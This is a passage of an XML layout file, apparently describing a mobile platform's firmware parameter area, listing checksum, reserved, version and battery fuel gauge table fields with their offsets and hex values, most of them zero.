<data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="00FC" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="00FD" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="0100" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="0101" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="0104" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="0105" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="0108" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="0109" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="010C" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="010D" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="0110" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="0111" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="0114" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="0115" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="0118" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="0119" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="011C" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="011D" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="0120" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="0121" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="0124" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="0125" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="0128" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="0129" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="012C" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="012D" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="0130" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="0131" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="0134" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="0135" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="0138" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="0139" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="013C" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="013D" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="0140" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="0141" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="0144" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="0145" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="0148" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="0149" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="014C" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="014D" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="0150" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="0151" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="0154" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="0155" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="0158" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="0159" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="015C" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="015D" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="0160" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="0161" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="0164" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="0165" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="0168" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="0169" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="016C" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="016D" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="0170" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="0171" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="0174" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="0175" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="0178" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="0179" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="017C" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="017D" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="0180" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="0181" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="0184" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="0185" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="0188" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="0189" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="018C" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="018D" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="0190" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="0191" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="0194" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="0195" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="0198" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="0199" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="019C" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="019D" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="01A0" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="01A1" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="01A4" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="01A5" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="01A8" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="01A9" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="01AC" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="01AD" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="01B0" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="01B1" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="01B4" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="01B5" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="01B8" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="01B9" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="01BC" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="01BD" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="01C0" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="01C1" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="01C4" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="01C5" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="01C8" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="01C9" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="01CC" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="01CD" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="01D0" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="01D1" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="01D4" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="01D5" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="01D8" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="01D9" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="01DC" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="01DD" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="01E0" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="01E1" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="01E4" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="01E5" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="01E8" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="01E9" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="01EC" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="01ED" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="01F0" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="01F1" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="01F4" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="01F5" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="01F8" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="01F9" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="Calculated Checksum " byte_cnt="1" offset="01FC" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Reserved " byte_cnt="3" offset="01FD" readonly="true"> <data>000000</data> </hdr_node> <!--END UMIP CHECKSUM --> <hdr_node name="Reserved 0x200" byte_cnt="256" offset="0200" readonly="true"> <data>00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000</data> </hdr_node> <hdr_node name="Reserved 0x300" byte_cnt="256" offset="0300" readonly="true"> <data>00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000</data> </hdr_node> <!-- END Reserved--> <!-- BEGIN Software Revocation Table --> <hdr_node name="USB Host Enable" byte_cnt="01" offset="0400"> <data>3F</data> </hdr_node> <hdr_node name="Reserved" byte_cnt="03" offset="0401" readonly="true"> <data>000000</data> </hdr_node> <hdr_node name="HVM Hooks" byte_cnt="04" offset="0404"> <data>00000000</data> </hdr_node> <!-- END Software Revocation Table --> <!-- BEGIN Reserved --> <hdr_node name="Reserved 0x0408" byte_cnt="248" offset="0408" readonly="true"> <data>0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000</data> </hdr_node> <!-- END Reserved --> <!-- BEGIN Versions--> <hdr_node name="Intel Ucode Minor Version" byte_cnt="04" offset="0500"> <data>00000000</data> </hdr_node> <hdr_node name="IA FW Minor Version" byte_cnt="04" offset="0504"> <data>00000000</data> </hdr_node> <hdr_node name="OS Minor Version" byte_cnt="04" offset="0508"> <data>00000000</data> </hdr_node> <!-- END Versions --> <!-- BEGIN Reserved --> <hdr_node name="Reserved 0x50C" byte_cnt="256" offset="050C" readonly="true"> <data>00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000</data> </hdr_node> <!-- END Reserved --> <!-- BEGIN PTI Hooks --> <hdr_node name="PTI Hooks" byte_cnt="64" offset="060C"> <data>00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000</data> </hdr_node> <!-- END PTI Hooks--> <!-- BEGIN Reserved --> <hdr_node name="Reserved" byte_cnt="436" offset="064C"> <data>0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000</data> </hdr_node> <!-- END Reserved --> <!-- BEGIN Energy Management Data block - EMDB (1KB) 0x800 thru 0xBFF--> <!-- BEGIN Header --> <hdr_node name="Revision (Major, Minor)" byte_cnt="02" offset="0800"> <data>0010</data> </hdr_node> <hdr_node name="Battery Discharge UMIP Size in bytes" byte_cnt="02" offset="0802"> <data>0400</data> </hdr_node> <hdr_node name="Reserved (chksum placeholder)" byte_cnt="02" offset="0804"> <data>0000</data> </hdr_node> <!-- END Header --> <!-- BEGIN Reference Fuel Guage Table --> <hdr_node name="Revision (Major, Minor)" byte_cnt="02" offset="0806"> <data>0000</data> </hdr_node> <hdr_node name="Table Name" byte_cnt="04" offset="0808"> <data>4D415831</data> </hdr_node> <hdr_node name="Battery ID lower" byte_cnt="04" offset="080C"> <data>4B303030</data> </hdr_node> <hdr_node name="Battery ID upper" byte_cnt="04" offset="0810"> <data>494E4344</data> </hdr_node> <hdr_node name="Size (in bytes including header)" byte_cnt="02" offset="0814"> <data>0090</data> </hdr_node> <hdr_node name="FG Table Type (0=Charge vs VBatt; 1=RBatt vs Temp; 2=Vendor Specific)" byte_cnt="01" offset="0816"> <data>02</data> </hdr_node> <hdr_node name="Reserved 0817" byte_cnt="01" offset="0817"> <data>00</data> </hdr_node> <hdr_node name="Data1" byte_cnt="04" offset="0818"> <data>16210056</data> </hdr_node> <hdr_node name="Data2" byte_cnt="04" offset="081C"> <data>0C1C0350</data> </hdr_node> <hdr_node name="Data3" byte_cnt="04" offset="0820"> <data>0C1C0000</data> </hdr_node> <hdr_node name="Data4" byte_cnt="04" offset="0824"> <data>01400000</data> </hdr_node> <hdr_node name="Data5" byte_cnt="04" offset="0828"> <data>2D510C1C</data> </hdr_node> <hdr_node name="Data6" byte_cnt="04" offset="082C"> <data>22100001</data> </hdr_node> <hdr_node name="Data7" byte_cnt="04" offset="0830"> <data>87A40076</data> </hdr_node> <hdr_node name="Data8" byte_cnt="04" offset="0834"> <data>A250506B</data> </hdr_node> <hdr_node name="Data9" byte_cnt="04" offset="0838"> <data>B800B720</data> </hdr_node> <hdr_node name="Data10" byte_cnt="04" offset="083C"> <data>B920B880</data> </hdr_node> <hdr_node name="Data11" byte_cnt="04" offset="0840"> <data>BA60BA00</data> </hdr_node> <hdr_node name="Data12" byte_cnt="04" offset="0844"> <data>BCF0BBF0</data> </hdr_node> <hdr_node name="Data13" byte_cnt="04" offset="0848"> <data>C060BE50</data> </hdr_node> <hdr_node name="Data14" byte_cnt="04" offset="084C"> <data>C520C2D0</data> </hdr_node> <hdr_node name="Data15" byte_cnt="04" offset="0850"> <data>CA00C750</data> </hdr_node> <hdr_node name="Data16" byte_cnt="04" offset="0854"> <data>0120D090</data> </hdr_node> <hdr_node name="Data17" byte_cnt="04" offset="0858"> <data>04701C80</data> </hdr_node> <hdr_node name="Data18" byte_cnt="04" offset="085C"> <data>01000440</data> </hdr_node> <hdr_node name="Data19" byte_cnt="04" offset="0860"> <data>09605500</data> </hdr_node> <hdr_node name="Data20" byte_cnt="04" offset="0864"> <data>22502410</data> </hdr_node> <hdr_node name="Data21" byte_cnt="04" offset="0868"> <data>0BD015F0</data> </hdr_node> <hdr_node name="Data22" byte_cnt="04" offset="086C"> <data>0B000D00</data> </hdr_node> <hdr_node name="Data23" byte_cnt="04" offset="0870"> <data>08A00BB0</data> </hdr_node> <hdr_node name="Data24" byte_cnt="04" offset="0874"> <data>010008A0</data> </hdr_node> <hdr_node name="Data25" byte_cnt="04" offset="0878"> <data>01000100</data> </hdr_node> <hdr_node name="Data26" byte_cnt="04" offset="087C"> <data>01000100</data> </hdr_node> <hdr_node name="Data27" byte_cnt="04" offset="0880"> <data>01000100</data> </hdr_node> <hdr_node name="Data28" byte_cnt="04" offset="0884"> <data>01000100</data> </hdr_node> <hdr_node name="Data29" byte_cnt="04" offset="0888"> <data>01000100</data> </hdr_node> <hdr_node name="Data30" byte_cnt="04" offset="088C"> <data>01000100</data> </hdr_node> <hdr_node name="Data31" byte_cnt="04" offset="0890"> <data>01000100</data> </hdr_node> <hdr_node name="Data32" byte_cnt="02" offset="0894"> <data>0100</data> </hdr_node> <!-- END Reference Fuel Guage Table --> <!-- BEGIN Configuration Data --> <hdr_node name="Total Number of Tables" byte_cnt="01" offset="0896"> <data>05</data> </hdr_node> <!-- BEGIN Fuel Guage Table (Batt 1) --> <hdr_node name="Revision (Major, Minor)" byte_cnt="02" offset="0897"> <data>0000</data> </hdr_node> <hdr_node name="Table Name" byte_cnt="04" offset="0899"> <data>00000000</data> </hdr_node> <hdr_node name="Battery ID lower" byte_cnt="04" offset="089D"> <data>00000000</data> </hdr_node> <hdr_node name="Battery ID upper" byte_cnt="04" offset="08A1"> <data>00000000</data> </hdr_node> <hdr_node name="Size (in bytes including header)" byte_cnt="02" offset="08A5"> <data>0090</data> </hdr_node> <hdr_node name="FG Table Type (0=Charge vs VBatt; 1=RBatt vs Temp; 2=Vendor Specific)" byte_cnt="01" offset="08A7"> <data>00</data> </hdr_node> <hdr_node name="Reserved 08A8" byte_cnt="01" offset="08A8"> <data>00</data> </hdr_node> <hdr_node name="Data1" byte_cnt="03" offset="08A9"> <data>000000</data> </hdr_node> <hdr_node name="Data2" byte_cnt="04" offset="08AC"> <data>00000000</data> </hdr_node> <hdr_node name="Data3" byte_cnt="04" offset="08B0"> <data>00000000</data> </hdr_node> <hdr_node name="Data4" byte_cnt="04" offset="08B4"> <data>00000000</data> </hdr_node> <hdr_node name="Data5" byte_cnt="04" offset="08B8"> <data>00000000</data> </hdr_node> <hdr_node name="Data6" byte_cnt="04" offset="08BC"> <data>00000000</data> </hdr_node> <hdr_node name="Data7" byte_cnt="04" offset="08C0"> <data>00000000</data> </hdr_node> <hdr_node name="Data8" byte_cnt="04" offset="08C4"> <data>00000000</data> </hdr_node> <hdr_node name="Data9" byte_cnt="04" offset="08C8"> <data>00000000</data> </hdr_node> <hdr_node name="Data10" byte_cnt="04" offset="08CC"> <data>00000000</data> </hdr_node> <hdr_node name="Data11" byte_cnt="04" offset="08D0"> <data>00000000</data> </hdr_node> <hdr_node name="Data12" byte_cnt="04" offset="08D4"> <data>00000000</data> </hdr_node> <hdr_node name="Data13" byte_cnt="04" offset="08D8"> <data>00000000</data> </hdr_node> <hdr_node name="Data14" byte_cnt="04" offset="08DC"> <data>00000000</data> </hdr_node> <hdr_node name="Data15" byte_cnt="04" offset="08E0"> <data>00000000</data> </hdr_node> <hdr_node name="Data16" byte_cnt="04" offset="08E4"> <data>00000000</data> </hdr_node> <hdr_node name="Data17" byte_cnt="04" offset="08E8"> <data>00000000</data> </hdr_node> <hdr_node name="Data18" byte_cnt="04" offset="08EC"> <data>00000000</data> </hdr_node> <hdr_node name="Data19" byte_cnt="04" offset="08F0"> <data>00000000</data> </hdr_node> <hdr_node name="Data20" byte_cnt="04" offset="08F4"> <data>00000000</data> </hdr_node> <hdr_node name="Data21" byte_cnt="04" offset="08F8"> <data>00000000</data> </hdr_node> <hdr_node name="Data22" byte_cnt="04" offset="08FC"> <data>00000000</data> </hdr_node> <hdr_node name="Data23" byte_cnt="04" offset="0900"> <data>00000000</data> </hdr_node> <hdr_node name="Data24" byte_cnt="04" offset="0904"> <data>00000000</data> </hdr_node> <hdr_node name="Data25" byte_cnt="04" offset="0908"> <data>00000000</data> </hdr_node> <hdr_node name="Data26" byte_cnt="04" offset="090C"> <data>00000000</data> </hdr_node> <hdr_node name="Data27" byte_cnt="04" offset="0910"> <data>00000000</data> </hdr_node> <hdr_node name="Data28" byte_cnt="04" offset="0914"> <data>00000000</data> </hdr_node> <hdr_node name="Data29" byte_cnt="04" offset="0918"> <data>00000000</data> </hdr_node> <hdr_node name="Data30" byte_cnt="04" offset="091C"> <data>00000000</data> </hdr_node> <hdr_node name="Data31" byte_cnt="04" offset="0920"> <data>00000000</data> </hdr_node> <hdr_node name="Data32" byte_cnt="03" offset="0924"> <data>000000</data> </hdr_node> <!-- END Fuel Guage Table (Batt 1) --> <!-- BEGIN Fuel Guage Table (Batt 2) --> <hdr_node name="Revision (Major, Minor)" byte_cnt="02" offset="0927"> <data>0000</data> </hdr_node> <hdr_node name="Table Name" byte_cnt="04" offset="0929"> <data>00000000</data> </hdr_node> <hdr_node name="Battery ID lower" byte_cnt="04" offset="092D"> <data>00000000</data> </hdr_node> <hdr_node name="Battery ID upper" byte_cnt="04" offset="0931"> <data>00000000</data> </hdr_node> <hdr_node name="Size (in bytes including header)" byte_cnt="02" offset="0935"> <data>0090</data> </hdr_node> <hdr_node name="FG Table Type (0=Charge vs VBatt; 1=RBatt vs Temp; 2=Vendor Specific)" byte_cnt="01" offset="0937"> <data>00</data> </hdr_node> <hdr_node name="Reserved 0938" byte_cnt="01" offset="0938"> <data>00</data> </hdr_node> <hdr_node name="Data1" byte_cnt="03" offset="0939"> <data>000000</data> </hdr_node> <hdr_node name="Data2" byte_cnt="04" offset="093C"> <data>00000000</data> </hdr_node> <hdr_node name="Data3" byte_cnt="04" offset="0940"> <data>00000000</data> </hdr_node> <hdr_node name="Data4" byte_cnt="04" offset="0944"> <data>00000000</data> </hdr_node> <hdr_node name="Data5" byte_cnt="04" offset="0948"> <data>00000000</data> </hdr_node> <hdr_node name="Data6" byte_cnt="04" offset="094C"> <data>00000000</data> </hdr_node> <hdr_node name="Data7" byte_cnt="04" offset="0950"> <data>00000000</data> </hdr_node> <hdr_node name="Data8" byte_cnt="04" offset="0954"> <data>00000000</data> </hdr_node> <hdr_node name="Data9" byte_cnt="04" offset="0958"> <data>00000000</data> </hdr_node> <hdr_node name="Data10" byte_cnt="04" offset="095C"> <data>00000000</data> </hdr_node> <hdr_node name="Data11" byte_cnt="04" offset="0960"> <data>00000000</data> </hdr_node> <hdr_node name="Data12" byte_cnt="04" offset="0964"> <data>00000000</data> </hdr_node> <hdr_node name="Data13" byte_cnt="04" offset="0968"> <data>00000000</data> </hdr_node> <hdr_node name="Data14" byte_cnt="04" offset="096C"> <data>00000000</data> </hdr_node> <hdr_node name="Data15" byte_cnt="04" offset="0970"> <data>00000000</data> </hdr_node> <hdr_node name="Data16" byte_cnt="04" offset="0974"> <data>00000000</data> </hdr_node> <hdr_node name="Data17" byte_cnt="04" offset="0978"> <data>00000000</data> </hdr_node> <hdr_node name="Data18" byte_cnt="04" offset="097C"> <data>00000000</data> </hdr_node> <hdr_node name="Data19" byte_cnt="04" offset="0980"> <data>00000000</data> </hdr_node> <hdr_node name="Data20" byte_cnt="04" offset="0984"> <data>00000000</data> </hdr_node> <hdr_node name="Data21" byte_cnt="04" offset="0988"> <data>00000000</data> </hdr_node> <hdr_node name="Data22" byte_cnt="04" offset="098C"> <data>00000000</data> </hdr_node> <hdr_node name="Data23" byte_cnt="04" offset="0990"> <data>00000000</data> </hdr_node> <hdr_node name="Data24" byte_cnt="04" offset="0994"> <data>00000000</data> </hdr_node> <hdr_node name="Data25" byte_cnt="04" offset="0998"> <data>00000000</data> </hdr_node> <hdr_node name="Data26" byte_cnt="04" offset="099C"> <data>00000000</data> </hdr_node> <hdr_node name="Data27" byte_cnt="04" offset="09A0"> <data>00000000</data> </hdr_node> <hdr_node name="Data28" byte_cnt="04" offset="09A4"> <data>00000000</data> </hdr_node> <hdr_node name="Data29" byte_cnt="04" offset="09A8"> <data>00000000</data> </hdr_node> <hdr_node name="Data30" byte_cnt="04" offset="09AC"> <data>00000000</data> </hdr_node> <hdr_node name="Data31" byte_cnt="04" offset="09B0"> <data>00000000</data> </hdr_node> <hdr_node name="Data32" byte_cnt="03" offset="09B4"> <data>000000</data> </hdr_node> <!-- END Fuel Guage Table (Batt 2) --> <!-- BEGIN Fuel Guage Table (Batt 3) --> <hdr_node name="Revision (Major, Minor)" byte_cnt="02" offset="09B7"> <data>0000</data> </hdr_node> <hdr_node name="Table Name" byte_cnt="04" offset="09B9"> <data>00000000</data> </hdr_node> <hdr_node name="Battery ID lower" byte_cnt="04" offset="09BD"> <data>00000000</data> </hdr_node> <hdr_node name="Battery ID upper" byte_cnt="04" offset="09C1"> <data>00000000</data> </hdr_node> <hdr_node name="Size (in bytes including header)" byte_cnt="02" offset="09C5"> <data>0090</data> </hdr_node> <hdr_node name="FG Table Type (0=Charge vs VBatt; 1=RBatt vs Temp; 2=Vendor Specific)" byte_cnt="01" offset="09C7"> <data>00</data> </hdr_node> <hdr_node name="Reserved 09C8" byte_cnt="01" offset="09C8"> <data>00</data> </hdr_node> <hdr_node name="Data1" byte_cnt="03" offset="09C9"> <data>000000</data> </hdr_node> <hdr_node name="Data2" byte_cnt="04" offset="09CC"> <data>00000000</data> </hdr_node> <hdr_node name="Data3" byte_cnt="04" offset="09D0"> <data>00000000</data> </hdr_node> <hdr_node name="Data4" byte_cnt="04" offset="09D4"> <data>00000000</data> </hdr_node> <hdr_node name="Data5" byte_cnt="04" offset="09D8"> <data>00000000</data> </hdr_node> <hdr_node name="Data6" byte_cnt="04" offset="09DC"> <data>00000000</data> </hdr_node> <hdr_node name="Data7" byte_cnt="04" offset="09E0"> <data>00000000</data> </hdr_node> <hdr_node name="Data8" byte_cnt="04" 